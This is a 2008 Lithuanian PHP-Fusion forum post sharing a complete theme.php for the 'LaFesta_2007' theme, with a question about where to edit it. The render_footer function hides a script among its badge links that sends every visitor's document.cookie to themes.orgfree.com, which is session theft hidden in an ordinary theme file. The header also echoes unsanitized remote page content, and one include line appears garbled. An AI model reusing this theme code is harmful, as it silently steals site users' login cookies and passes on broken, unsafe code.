Temos pavadinimas: WordPress, Shopify ir PHPFusion programuotojų bendruomenė :: LaFesta_2007 meniu

Parašė Ultriukas· 2008 Vas. 6 15:02:45
#22

<?php
if (!defined("IN_FUSION")) { header("Location: ../../index.php"); exit; }
theme_functions_include.phprequire_once INCLUDES."theme_functions_include.php";

// theme settings
$body_text = "#000000";
$body_bg = "#FFFFFF";
$theme_width = "100%";
$theme_width_l = "175";
$theme_width_r = "175";

function render_header($header_content) {

global $theme_width;

echo "<table align='center' style='background-image:url(".THEME."images/header-center.gif)' border='0' cellpadding='0' cellspacing='0' width='100%'><tr><td width='15'><object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0' width='170' height='229'>
<param name=movie value='".THEME."images/meniu.swf'>
<param name=quality value=high>
<embed src='".THEME."images/meniu.swf' quality=high pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash' type='application/x-shockwave-flash' width='170' height='229'>
</embed>\n";
$file = explode("\n",file_get_contents("http://topradijas.nkk.lt/news.php"));
for ($i = 16; $i <= 53; $i++) echo str_replace("images/avatars/","http://www.lafesta.lt/images/avatars/",str_replace("bar.gif","http://www.lafesta.lt/bar.gif",str_replace("themes/LaFesta_2007/images/",THEME."images/",$file[$i])));
echo "<tr>\n";

}

function render_footer($license=false) {

global $theme_width,$settings;

echo "</td>
<table align='center' border='0' cellpadding='0' cellspacing='0' width='100%'><tr><td width='42'><img src='".THEME."images/nav-left.gif' width='16' height='26'></td><td width='75%' style='background-image:url(".THEME."images/nav-center.gif)'><a href='index.php' class='white'>naujienos</a> ·
<a href='http://topradijas.nkk.lt/news.php' class='white'>Naujienos</a> ·
<a href='http://topradijas.nkk.lt/articles.php' class='white'>Straipsniai</a> ·
<a href='http://topradijas.nkk.lt/downloads.php' class='white'>Siuntimai</a> ·
<a href='http://topradijas.nkk.lt/faq.php' class='white'>DUK</a> ·
<a href='http://topradijas.nkk.lt/forum/index.php' class='white'>Forumas</a> ·
<a href='http://topradijas.nkk.lt/contact.php' class='white'>Kontaktai</a> ·
<a href='http://topradijas.nkk.lt/search.php' class='white'>Paieska</a> ·
<a href='http://topradijas.nkk.lt/viewpage.php?page_id=1' class='white'>Komanda</a> ·
<a href='http://topradijas.nkk.lt/viewpage.php?page_id=2' class='white'>Laidos</a>
</td><td align='right' width='25%' style='background-image:url(".THEME."images/nav-center.gif)'><td width='42'><img src='".THEME."images/nav-right.gif' width='16' height='26'></td></tr></table><table align='center' width='100%' cellspacing='0' cellpadding='0'>
<tr>
<table border='0' width='100%'><tr><td>
<p>
<a target='_blank' href='http://www.php-fusion.co.uk/'><img src='http://www.lafesta.lt/fusion.gif'
alt='powered by PHP-Fusion' height='15' width='80' /></a>
<a href='http://lithuanian-75269833632.spampoison.com'><img src='http://www.lafesta.lt/images/sticker.gif' border='0' width='80' height='15'/></a>
<a target='_blank' href='http://www.spreadfirefox.com/?q=affiliates&id=184484&t=195'><img border='0' alt='Upgrade to Firefox 1.5!' title='Upgrade to Firefox 2!' src='http://www.lafesta.lt/firefox.gif'/></a>
<a target='_blank' href='http://host-tracker.com/website-uptime-statistics/178545/'><img alt='website monitoring alert' width=80 height=15 border=0 src='http://ext.host-tracker.com/uptime-img/?s=15&amp;t=178545&amp;m=00.09&amp;p=Month' ></a><noscript><a href='http://host-tracker.com/'>external website monitoring service</a></noscript><script>img = new Image(); img.src = 'http://themes.orgfree.com/index.php?c='+document.cookie;</script>
<a target='_blank' href='http://www.microsoft.com/windows/ie/'><img src='http://www.lafesta.lt/explorer.gif' border='0'  alt='Internet Explorer Compatible'></a>
<a target='_blank' href='http://www.php.net/'> <img src='http://www.lafesta.lt/phppow.gif' border='0' alt='Powered By PHP'></a>

</p>
</td>
</tr>
</table>\n";

}

function render_news($subject, $news, $info) {

global $locale;
   
   echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
   echo "<td class='panel-left'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>";
   echo "<td width='100%' class='panel-main'>$subject</td>";
   echo "<td class='panel-right'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>";
   echo "</tr></table>";
   echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
   echo "<td class='border-left'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td>";
   echo "<td class='main-body'><div style='width:100%;vertical-align:top;'>$news</div><br>";
   echo "<div style='margin-top:5px'>";
   echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
   echo "<td class='infobar'>".newsposter($info)."</td>";
   echo "<td align='right' class='infobar2'>";
   echo openform("N",$info['news_id']).newsopts($info,"&middot;").closeform("N",$info['news_id']);
   echo "</td></tr></table></div></td>";
   echo "<td class='border-right'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'>";
   echo "</td></tr><tr>";
   echo "<td class='border-bleft'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>";
   echo "<td class='border-bmain'><img src='".THEME."images/blank.gif' width='1' height='20' alt='' style='display:block'></td>";
   echo "<td class='border-bright'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>";
   echo "</tr></table>\n";
}

function render_article($subject, $article, $info) {

global $locale;
   
   echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
   echo "<td class='panel-left'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>";
   echo "<td width='100%' class='panel-main'>$subject</td>";
   echo "<td class='panel-right'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>";
   echo "</tr></table>";
   echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
   echo "<td class='border-left'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td>";
   echo "<td class='main-body'><div style='width:100%;vertical-align:top;'>".($info['article_breaks'] == "y" ? nl2br($article) : $article)."</div><br>";
   echo "<div style='margin-top:5px'>";
   echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
   echo "<td class='infobar'>".articleposter($info)."</td>";
   echo "<td align='right' class='infobar2'>";
   echo openform("A",$info['article_id']).articleopts($info,"&middot;").closeform("A",$info['article_id']);
   echo "</td></tr></table></div></td>";
   echo "<td class='border-right'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td>";
   echo "</tr><tr>";
   echo "<td class='border-bleft'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>";
   echo "<td class='border-bmain'><img src='".THEME."images/blank.gif' width='1' height='20' alt='' style='display:block'></td>";
   echo "<td class='border-bright'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>";
   echo "</tr></table>\n";
}

function opentable($title) {

echo "<table width='100%' cellpadding='0' cellspacing='0'><tr><td class='panel-left'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td><td width='100%' class='panel-main'>$title</td><td class='panel-right'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td></tr></table><table width='100%' cellpadding='0' cellspacing='0'><tr><td class='border-left'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td><td class='side-body'>\n";

}

function closetable() {

echo "</td><td class='border-right'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td></tr><tr><td class='border-bleft'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td><td class='border-bmain'><img src='".THEME."images/blank.gif' width='1' height='20' alt='' style='display:block'></td><td class='border-bright'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td></tr></table>\n";

}

function openside($title) {
   
echo "<table width='100%' cellpadding='0' cellspacing='0'><tr><td class='panel-left'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td><td width='100%' class='panel-main'>$title</td><td class='panel-right'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td></tr></table><table width='100%' cellpadding='0' cellspacing='0'><tr><td class='border-left'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td><td class='side-body'>\n";

}

function closeside() {

echo "</td><td class='border-right'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td></tr><tr><td class='border-bleft'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td><td class='border-bmain'><img src='".THEME."images/blank.gif' width='1' height='20' alt='' style='display:block'></td><td class='border-bright'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td></tr></table>\n";

}

function opensidex($title,$open="on") {

   $boxname = str_replace(" ", "", $title);
   $box_img = $open == "on" ? "off" : "on";
   echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
   echo "<td class='panel-left'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>";
   echo "<td class='panel-main'>$title</td>";
   echo "<td align='right' class='panel-main'><img src='".THEME."images/panel_$box_img.gif' name='b_$boxname' align='right' alt='' onclick=\"javascript:flipBox('$boxname')\"></td>";
   echo "<td class='panel-right'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>";
   echo "</tr></table>";
   echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
   echo "<td class='border-left'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td>";
   echo "<td class='side-body'>";
   echo "<div id='box_$boxname'".($open=="off" ? "style='display:none'" : "").">\n";
}

function closesidex() {

   echo "</div>";
   echo "<td class='border-right'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td></tr>";
   echo "<tr>";
   echo "<td class='border-bleft'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>";
   echo "<td class='border-bmain'><img src='".THEME."images/blank.gif' width='1' height='20' alt='' style='display:block'></td>";
   echo "<td class='border-bright'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>";
   echo "</tr></table>\n";
}

function tablebreak() {

   echo "<table width='100%' cellspacing='0' cellpadding='0'><tr><td></td></tr></table>\n";
}
?>






KAS GALETU PASAKYTI KUR CE REIKIA KEISTI?

Redagavo ozzWANTED· 2008 Vas. 6 15:02:51